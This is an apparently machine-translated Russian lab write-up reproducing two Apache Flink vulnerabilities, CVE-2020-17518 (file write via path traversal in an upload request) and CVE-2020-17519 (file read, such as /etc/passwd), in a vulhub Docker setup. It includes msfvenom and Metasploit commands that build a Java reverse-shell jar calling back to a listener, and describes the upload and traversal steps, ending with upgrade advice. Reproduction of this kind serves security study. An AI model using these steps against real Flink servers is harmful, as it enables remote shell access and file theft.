Введение
Apache Flink - это эффективная распределенная платформа общей обработки данных. Это платформа обработки потоковых данных с открытым исходным кодом, разработанная Apache Software Foundation. Ее ядро представляет собой механизм распределенного потока данных, написанный на Java и Scala (короче говоря, он похож на Spark). . Flink имеет API мониторинга, который можно использовать для запроса статуса и статистики «запущенных заданий» и «недавно завершенных заданий». API мониторинга используется в собственной панели управления Flink, а также его можно использовать для настройки инструментов мониторинга.Мониторинг по умолчанию осуществляется через порт 8081.
Эта статья включает в себя практические упражнения по следующим вопросам: инциденты сетевой безопасности (« Инциденты сетевой безопасности» - этот курс состоит из тестовой среды, смоделированной некоторыми относительно серьезными инцидентами безопасности. Этот курс не только добавит прошлые инциденты безопасности, но и укрепит Следите за текущими событиями и добавляйте последние инциденты безопасности. Сообщите всем об этом с первого раза и узнайте, как защитить свою безопасность.)
API мониторинга - это REST-полнофункциональный API, который принимает HTTP-запросы и отвечает на данные в формате JSON.
Одним из API мониторинга является / jars / upload, который используется для загрузки jar-файла в кластер. Банку необходимо отправлять как составные данные. Убедитесь, что для заголовка «Content-Type» задано значение «application / x-java-archive», поскольку некоторые библиотеки http не добавляют заголовки по умолчанию. Файлы JAR можно загружать через curl
'curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar" < http: // имя хоста: порт / jars / upload> ;'
Обзор
Flink 1.5.1 представил REST API, но в его реализации есть много недостатков, которые приводят к уязвимостям произвольного чтения файлов (CVE-2020-17519) и произвольной записи файлов (CVE-2020-17518).
Пользователи CVE-2020-17518 *** могут использовать REST API для изменения заголовка HTTP и записи загруженного файла в любое место в локальной файловой системе (доступ к которому может получить процесс Flink 1.5.1).
CVE-2020-17519 Apache Flink 1.11.0 позволяет хакеру читать любой файл в локальной файловой системе JobManager (доступный для процесса JobManager) через REST API процесса JobManager.
Версия удара
CVE-2020-17518
Apache: Apache Flink: 1.5.1 - 1.11.2
CVE-2020-17519
Apache: Apache Flink: 1.11.0, 1.11.1, 1.11.2
Настройка среды
Поскольку версии, затронутые двумя уязвимостями, включают 1.11.2, эта версия используется для воспроизведения
Здесь мы используем среду vulhub для воспроизведения и создания нового файла docker-compose.yml.
версия: '2'
Сервисы:
здоровенный:
изображение: vulhub / flink: 1.11.2
команда: jobmanager
порты:
- «8081: 8081»
- «6123: 6123»
Используйте docker-compose для запуска среды, выполните следующую команду, чтобы загрузить образ и запустить контейнер с этим образом, сопоставленные порты - 8081 и 6123.
docker-compose up -d
доступhttp: // ip: 8081
Повторение уязвимости
Любая загрузка файла (CVE-2020-17518) воспроизводит:
Apache Flink 1.5.1 представляет обработчик REST, который позволяет записать загруженный файл в любое место локальной файловой системы через злонамеренно измененный заголовок HTTP.
доступhttp: // ip: 8081 , найдите Добавить новое или Отправить новое задание и загрузите пакет jar. Вы можете создать сжатый файл для пакета jar на рабочем столе, изменить суффикс zip на jar, а затем сохранить пакет.
Перехваченные пакеты запроса следующие:
Отправьте пакет запроса в модуль повторителя для модификации. Например, здесь я создаю новый файл в каталоге / tmp. ../ предназначен для облегчения пути переключения, потому что мы не знаем, каков текущий путь, поэтому мы можем использовать ../ для переключения на Корневая директория.
Проверьте, успешно ли загружен файл
docker ps view контейнер
Войдите в контейнер
docker exec -it ИДЕНТИФИКАТОР КОНТЕЙНЕРА / bin / bash
Вы видите, что файл был успешно загружен
Сам flink не аутентифицирован, и он поддерживает загрузку и выполнение любого пакета jar, поэтому вы можете загрузить пакет jar getshell
Сгенерируйте лошадь в формате jar
lhost - это ip kali, lport - это порт принимающей оболочки kali
msfvenom -p java / shell_reverse_tcp lhost = 192.168.74.142 lport = 1234 -f jar> /home/a.jar
Запустите msf для получения оболочки
msfconsole
использовать эксплойт / мульти / обработчик
установить полезную нагрузку java / shell_reverse_tcp
установить LHOST 192.168.74.142
комплект LPORT 1234
эксплуатировать
После загрузки пакета jar щелкните загруженный пакет, а затем «Отправить».
Доберитесь до оболочки
Произвольное чтение файла (CVE-2020-17519) воспроизводит:
Изменения, внесенные в Apache Flink 1.11.0 (а также выпущенные в 1.11.1 и 1.11.2), позволяют администратору читать любой файл в локальной файловой системе JobManager через интерфейс REST процесса JobManager. Доступ ограничен файлами, доступными для процесса JobManager.
Например, я прочитал файл passwd в / etc / здесь, а% 252f - это две кодировки URL /
Исправлена ошибка
Версия безопасности была официально выпущена, пожалуйста, загрузите и обновите версию безопасности вовремя.
< https://flink.apache.org/zh/downloads.html> ;
Ссылка на ссылку